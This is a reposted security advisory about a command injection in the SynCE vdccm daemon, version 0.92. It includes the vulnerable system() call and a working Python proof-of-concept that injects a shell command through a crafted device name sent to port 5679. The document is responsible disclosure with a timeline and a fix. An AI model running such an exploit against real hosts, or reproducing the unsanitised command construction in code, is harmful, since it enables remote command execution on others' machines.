[NT] SynCE Command Injection



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



SynCE Command Injection
------------------------------------------------------------------------


SUMMARY

<http://www.synce.org/> SynCE is "an open source project, whose objective
is to provide a way of communicating with a Windows CE or Pocket PC
device, from a computer running Linux, *BSD or other unices". A
vulnerability in SynCE allows attackers to inject arbitrary commands this
is due to the vdccm daemon not properly sanitizing certain input before
using it to invoke external scripts. This can be exploited to execute
arbitrary commands with the privileges of the vdccm daemon by sending
specially crafted requests.

DETAILS

Vulnerable Systems:
* Synce-dccm version 0.92

Immune Systems:
* Synce-dccm version 0.91 and earlier
* Synce-dccm version 0.10.1

Technical Description / Proof of Concept Code
The vdccm daemon listens on port 5679 for incoming connections from a
Windows CE device. The command injection exist on the name of the
connected device. The code at src/utils.cpp, function Utils::runScripts
contains the following code:

string command = string(path) + " " + action + " " + deviceName;
system(command.c_str());

The contents of the string variable "deviceName" is controlled by the
attacker.

Exploit:
The next python proof of concept script will remotely create an empty file
named "/tmp/vulnerability" when used on a FreeBSD host running the
vulnerable daemon.

import socket, struct
import time
def AtoWChar(string):
return ''.join([x+chr(0) for x in string])

HOST = '192.168.XXX.XXX'
PORT = 5679
c= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((HOST, PORT))
buf="\x00"*0x18
buf+='\x30\x00\x00\x00'
buf+='\x30\x00\x00\x00'
buf+='\x30\x00\x00\x00'
buf+="\x00"*12
string=AtoWChar("&/usr/bin/touch /tmp/vulnerability")
buf+=string+"\x00\x00"+"\x00"*12
c.send(struct.pack("L",63+len(string))+buf+"\x00" )

NOTE: for this proof of concept to work, a script file is needed on the
"$home$/.synce/scripts" directory. Some linux distributions ship with
scripts on this directory by default.

Report Timeline
2007-11-12: Core notifies the SynCE team of the vulnerability.
2007-11-13: Technical details sent by Core to SynCE team.
2007-11-22: SynCE notifies Core that a fix has been produced, and will be
released in the next SynCE official release.
2007-12-20: SynCE releases version 0.10.1, which fixes this vulnerability.
2008-01-07: CORE-2007-1106 advisory is published.

References
<http://synce.sourceforge.net/synce/dccm.php>
http://synce.sourceforge.net/synce/dccm.php
<http://synce.sourceforge.net/synce/architecture.php>
http://synce.sourceforge.net/synce/architecture.php

Vendor Information, Solutions and Workarounds
This vulnerability has been fixed in SynCE-dccm 0.10.1, available at
<http://sourceforge.net/projects/synce/>
http://sourceforge.net/projects/synce/.


ADDITIONAL INFORMATION

The information has been provided by <mailto:advisories@xxxxxxxxxxxxxxxx>
CORE Security Technologies Advisories.
The original article can be found at:
<http://www.coresecurity.com/?action=item&id=2070>
http://www.coresecurity.com/?action=item&id=2070



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... buffer overflow vulnerability in VSAPI library allows arbitrary code ... is called "vscan" which is set suid root by default. ... permissions and thus granted all local users the privilege to execute the ...
    (Securiteam)
  • [UNIX] SCO Multiple Local Buffer Overflow
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Local exploitation of a buffer overflow vulnerability in the ppp binary, ... allows attackers to gain root privileges. ...
    (Securiteam)
  • [NT] Microsoft Word 6.0/95 Document Converter Buffer Overflow (MS04-041)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... WordPad is "a word processing application that uses the MFC rich edit ... Remote exploitation of a buffer overflow vulnerability in Microsoft ... Microsoft Word format files into the Rich Text Format natively handled by ...
    (Securiteam)
  • [UNIX] Tikiwiki Command Injection and Arbitrary File Exposure Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Two security vulnerabilities have been recently discovered in Tikiwiki, ... Remote exploitation of an input validation vulnerability in Tikiwiki ... allows attackers to gain access to arbitrary files on the vulnerable ...
    (Securiteam)
  • [NT] Ipswitch Multiple Vulnerabilities (IMail IMAP LIST Command DoS, Collaboration Suite SMTP Format
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Ipswitch Multiple Vulnerabilities (IMail IMAP LIST Command DoS, ... Collaboration Suite SMTP Format String) ... Remote exploitation of a denial of service vulnerability in Ipswitch ...
    (Securiteam)